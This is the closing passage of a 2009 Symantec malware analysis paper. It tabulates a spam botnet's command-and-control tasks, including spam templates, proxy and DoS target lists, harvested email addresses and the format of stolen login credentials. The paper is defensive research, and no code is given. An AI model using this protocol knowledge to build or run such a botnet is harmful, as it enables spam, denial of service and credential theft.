|        |           | “key” = base64 encoded, RSA encrypted session key  |
| 0x01   | first     | Sent: “first” task name, version number, node ID, node type  
|        |           | Attributes:  
|        |           | label = label name  
|        |           | winver = windows system version number (majorver.minver.subver format)  
|        |           | Received: version number, “first” task name  
|        |           | Currently just acts as an acknowledgment or receipt  |
| 0x02   | notify    | Sent: “notify” task name, version number, node ID, node type  
|        |           | Attributes:  
|        |           | “label” = label name  
|        |           | “time_init” = initial startup date and time  
|        |           | “time_now” = current date and time  
|        |           | “time_sys” = system date and time  
|        |           | “time_ticks” = current tickcount  
|        |           | Received: version number, “notify” task name  
|        |           | Attributes:  
|        |           | “ptr” = server name  
|        |           | “ip” = system IP address  
|        |           | “dns_ip” = DNS server IP address  
|        |           | “smtp_ip” = SMTP server IP address  
|        |           | “http_cache_timeout” = cache timeout value  
|        |           | “sender_threads” = number of sender threads  
|        |           | “sender_queue” = sender queue number  
|        |           | “commands” = command ID, command, command parameters (see Command Types section this document for more information)  
|        |           | “Short_logs” = a boolean flag; enable/disable short logs?  
|        |           | “dns_zones” = domain names for DNS zones  
|        |           | “dns_hosts” = IP addresses for DNS hosts  
|        |           | “socks5” = IP addresses for socks5 proxies and their maximum allowed connections  
|        |           | “dos” = possible targets of DOS attack  
|        |           | “filter” = possible blacklisted IP addresses  |
| 0x03   | taskreq   | Sent: “taskreq” task name, version number, node ID  
|        |           | Received: version number, “taskreq” task name  
|        |           | Attributes:  
|        |           | id = task id number  
|        |           | body = base64 encoded email template  
|        |           | a = email address  
|        |           | w = spam component list name and timestamp  |
| 0x04   | words     | Sent: “words” task name, version number, node ID  
|        |           | Received: version number, “words” task name  
|        |           | Attributes:  
|        |           | word:  
|        |           | name = name of the word list  
<p>|        |           | A list of strings or words use to fill up variables in the email template given in taskreq  |</p>
<table>
<thead>
<tr>
<th>Task Code</th>
<th>Task Name</th>
<th>Attributes</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x05</td>
<td>taskrep</td>
<td>Sent: “taskrep” task name, version number, node ID. Attributes: b64 = set to true if data uses base64 encoding. reports: id = task id number, rep = OK if successfully spammed, otherwise ERR. rcpt = encoded email address.</td>
<td>Received: version number, “taskrep” task name. Currently just acts as an acknowledgment or receipt.</td>
</tr>
<tr>
<td>0x06</td>
<td>httpstats</td>
<td>Sent: “httpstats” task name, version number, node ID. Attributes: b64 = set to true if data uses base64 encoding. http_stats: stat = user-agent info, ip = ip address of system that connected, time = access time.</td>
<td>Received: version number, “httpstats” task name. Currently just acts as an acknowledgment or receipt.</td>
</tr>
<tr>
<td>0x07</td>
<td>emails</td>
<td>Sent: “emails” task name, version number, node ID, node type. Attributes: emails = list of harvested email addresses.</td>
<td>Received: version number, “emails” task name. Currently just acts as an acknowledgment or receipt.</td>
</tr>
<tr>
<td>0x08</td>
<td>creds</td>
<td>Sent: “creds” task name, version number, node ID, node type. Attributes: creds = base64 encoded data containing stolen login credentials. The decoded information follows this format: Server Type://Username:Password@IPaddress.</td>
<td>Received: version number, “creds” task name. Currently just acts as an acknowledgment or receipt.</td>
</tr>
</tbody>
</table>
References

Bibliography

3. http://www.bzip.org/1.0.5/bzip2-manual-1.0.5.pdf
About the author
Gilou Tenebro is an engineer with expertise in reverse engineering malicious code, located in Symantec Security Response’s Culver City office.

Copyright © 2009 Symantec Corporation. All rights reserved. Symantec and the Symantec logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries. Other names may be trademarks of their respective owners.